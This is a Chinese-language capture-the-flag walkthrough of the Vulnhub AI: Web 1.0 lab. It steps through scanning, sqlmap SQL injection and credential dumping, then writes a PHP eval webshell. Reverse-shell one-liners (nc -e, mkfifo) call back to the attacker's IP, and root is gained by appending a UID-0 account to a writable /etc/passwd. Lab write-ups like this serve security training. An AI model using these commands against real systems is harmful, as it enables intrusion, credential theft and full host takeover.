Vulnhub-Al-Web-1.0 靶机复现完整过程

一、信息收集

1.主机发现

arp-scan -l

2.端口扫描

nmap -sV -p-  192.168.200.16

PORT	STATE	SERVICE	VERSION	MAC Address
80/TCP	Open	http	Apache httpd	00:0C:29:C4:1B:78 (VMware)

3.目录扫描

python dirsearch.py -u http://192.168.200.16

扫描出来这两个文件，首先先进入网址查看信息（index.html，这个是网站首页）

二、网站信息

1.网站首页

2.robots.txt

2.1 m3diNf0

2.2 se3reTdir777/uploads/

这个是有两层目录的，uploads禁止访问， 查看上一级的目录文件情况

看到，输入框示意输入数字，出现如下结果说明存在SQL注入

这是一个问题，暂时搁置。

由robots.txt这个文件上面显示里网站那些页面是禁止爬取的，所以二次尝试目录扫描

3.m3diNf0扫描

python dirsearch.py -u http://192.168.200.16/m3diNf0

访问此目录，发现页面显示的是PHP有关信息，并且可以看到当前权限用户是最低级的和网站的根目录

4.se3reTdir777扫描

python dirsearch.py -u http://192.168.200.16/se3reTdir777

三、漏洞利用

SQL注入

使用工具：SQLMAP

3.1爆破数据库

python  sqlmap.py -r 1.txt  --batch --dbs

3.2 爆破数据表

python  sqlmap.py -r 1.txt  --batch -D aiweb1 --tables

3.3爆破表的中的字段

users表中的信息

python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T user --dump

systemUser表中的信息

python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T systemUser --dump

当前密码被base64加密，尝试解密

UserName: t00r  password:FakeUserPassw0rd
UserName:	aiweb1pwn   password:MyEvilPass_f908sdaf9_sadfasf0sa
UserName:	u3er		password:N0tThis0neAls0

目前的情况是：虽然成功爆出数据库的信息，但是并没有可以登陆的后台什么的可以利用，通过sql注入写入数据

绝对路径和权限用户信息

在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径info.php信息里面包含着php的信息，站点在服务器的绝对路径！和权限用户

路径：/home/www/html/web1x443290o2sdf92213 
用户：www-data

在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径，并且也读到过phpinfo信息，从info.php文件中我们知道了根目录的路径，那现在就可以在uploads/路径下上传文件，通过sqlmap进行写入一个木马文件

尝试使用sqlmap的–os-shell命令getshel

os-shell执行条件有三个：
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off（php主动转义的功能关闭）

依次选择 php(default)，custom location(s)
根据前面找到的info.php文件暴露的信息，绝对路径选择：uploads的目录是可以成功写入的

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

sqlmap写入一句话木马

1.写入一句话木马

<?php @eval($_REQUEST[666]);?> # POST的我传不上去

2.写入文件

sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./123.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/123.php
 
--file-write:去读取文件（当前目录下的123.php）
--file-dest:后面加我们向目标写的文件，
目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/，
把这个文件上传到123.php这个地址，现在我们就在uploads这个命令下写好了123.php文件

反弹shell

攻击端：

kali本地监听：nc -lvvp 6666（或者nc -lnvp 或者-lvp）

靶机端：

蚁剑终端上nc反弹：nc -e /bin/bash 192.168.200.14 6666（-e参数不可用）
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 6666 >/tmp/f

提权

进入交互式shell：

python -c 'import pty;pty.spawn("/bin/bash")'

思路解决方法：

思路1：

sudo -l（查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found）
发现需要密码

思路2：

查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

查询开放端口

netstat -anpl

开放了3306端口，但只有本地能登录

思路3：

在交互式shell下输入命令uname -a查看内核版本，当前版本号是4.15.0-58-generic，去看一下有没有内核漏洞

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
<eb1x443290o2sdf92213/se3reTdir777/uploads$ uname -a  
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

searchsploit linux kernel 4.15.0-58-generic   # 没有结果
searchsploit linux kernel 4.15.0  # 可以看到好几个做本地提权的

目标环境没有gcc环境，尽量不要上传.c文件提取

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些：

find / -writable -type d 2>/dev/null

查看哪些文件具有读写权限：

find / -writable -type f 2>/dev/null

(最明显的位置，最重要的文件，具有读写权限，一般基本可以止于此步骤，因为之前已经拿到了webshell了，直接将信息写入到此文件中)
**将find查询结果保存： **

find / -writable -type f 2>/dev/null > /tmp/writableFiles

**在蚁剑的/tmp目录就可以看到writableFiles文件，download下来

wc -l writableFiles 可以看到这个文件有5688行
过滤有用文件,过滤掉以p和s开头的文件

cat writableFiles | grep '^/[^p]' | grep '^/[^s]'

觉得c0nFil3bd.php这个文件可疑
得到数据库密码和用户名

/etc/passwd文件，具有写权限（可以直接写入进去，也可以利用命令行）

添加Zhangc::0:0:root:/root:/bin/bash，这个账号是没有密码的，但是sudo密码验证失败，必须生成一个有密码的账户：
生成Linux 系统用户密钥

┌──(root㉿kali)-[~]
└─# python                       
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","zhangcw")
'zhxPr1e7Npazg'
>>> 

写入到/etc/passwd中

echo 'zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash'>>/etc/passwd

读写etc/passwd

zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash

切换到zhangcw用户，输入密码123456

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw    
<1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw                       
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd
root@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
ot@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################